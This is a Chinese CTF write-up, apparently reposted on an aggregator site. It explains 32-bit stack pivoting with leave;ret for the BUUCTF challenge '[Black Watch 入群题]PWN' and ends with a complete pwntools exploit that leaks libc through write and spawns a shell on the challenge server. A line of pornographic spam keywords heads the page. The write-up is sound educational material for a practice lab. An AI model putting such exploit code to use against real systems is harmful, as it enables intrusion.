日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[Black Watch 入群题]PWN 栈劫持的利用

發布時間:2025/3/20 编程问答 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [Black Watch 入群题]PWN 栈劫持的利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

32位程序,開啟了nx保護

沒有system函數和‘/bin/sh’的字符串,這邊需要我們自己去想辦法構造system(‘/bin/sh’)

思路

第一次輸入的參數s,那邊我們可以寫入很長的數據,我們可以將我們的rop鏈布置在那里, 接著執行第二次輸入,利用站劫持,把程序的執行流程劫持到第一次輸入的位置就可以了

站劫持利用

做棧劫持主要用到的是一個leave;ret指令,一般程序執行完成后都會調用leave;ret來還原現場

payload1=‘a’*0x18+p32(s-4)+p32(leave_ret)

給buf參數賦值的時候,溢出后將ebp覆寫成s-4的地址,函數返回地址覆寫成leave;ret指令的地址

理一下這樣寫程序的執行過程:

首先程序正常結束了,去調用程序本身的leave;ret來還原現場,
根據我們對棧的布局,
mov esp,ebp->將rsp指向了rbp,棧變成了這個樣子

pop ebp->ebp寄存器被我們設置成了參數s-4的地址,指向了我們布置好的棧上方,這邊-4是因為我們第二次執行pop ebp給ebp賦值的時候,會將rsp+4,如果不減去4,esp就在程序一開始的時候指向的不是棧頂,而是棧頂+4的位置,我們之后讀取數據會丟失一開始的4字節,所以需要一開始的時候將指針往上抬4字節,棧變成了這個樣子
ret(pop rip)->去調用leave;ret指令

再次執行leave;ret指令

mov esp,ebp->esp指向了參數s-4的位置,棧布局現在是這樣
pop ebp->彈出棧頂的值給ebp,esp+4 向下一步執行之后棧變成了這樣,我們成功將esp指針劫持到了我們布置好的棧上

ret(pop rip)->將esp指向的輸值彈給rip
接下來它就會去執行我們布置好的泄露libc的步驟,我們去接收它輸出的write函數地址,就知道了libc版本,接下來就能去構造system(’/bin/sh‘)了,接下來在重復一下上述的控制流程,就能拿到shell了

from pwn import *from LibcSearcher import *#p=process('./spwn')r=remote('node4.buuoj.cn',29955)elf=ELF('./spwn')write_plt=elf.plt['write']write_got=elf.got['write']main=0x8048513s=0x0804A300leave_ret=0x08048408payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)r.recvuntil("What is your name?")r.send(payload)payload1='a'*0x18+p32(s-4)+p32(leave_ret)r.recvuntil("What do you want to say?")r.send(payload1)write_addr=u32(r.recv(4))libc=LibcSearcher('write',write_addr)libc_base=write_addr-libc.dump('write')system=libc_base+libc.dump('system')sh=libc_base+libc.dump('str_bin_sh')r.recvuntil("name?")payload=p32(system)+p32(0)+p32(sh)r.sendline(payload)r.recvuntil("say?")r.sendline(payload1)r.interactive() 與50位技術專家面對面20年技術見證,附贈技術全景圖

總結

以上是生活随笔為你收集整理的[Black Watch 入群题]PWN 栈劫持的利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。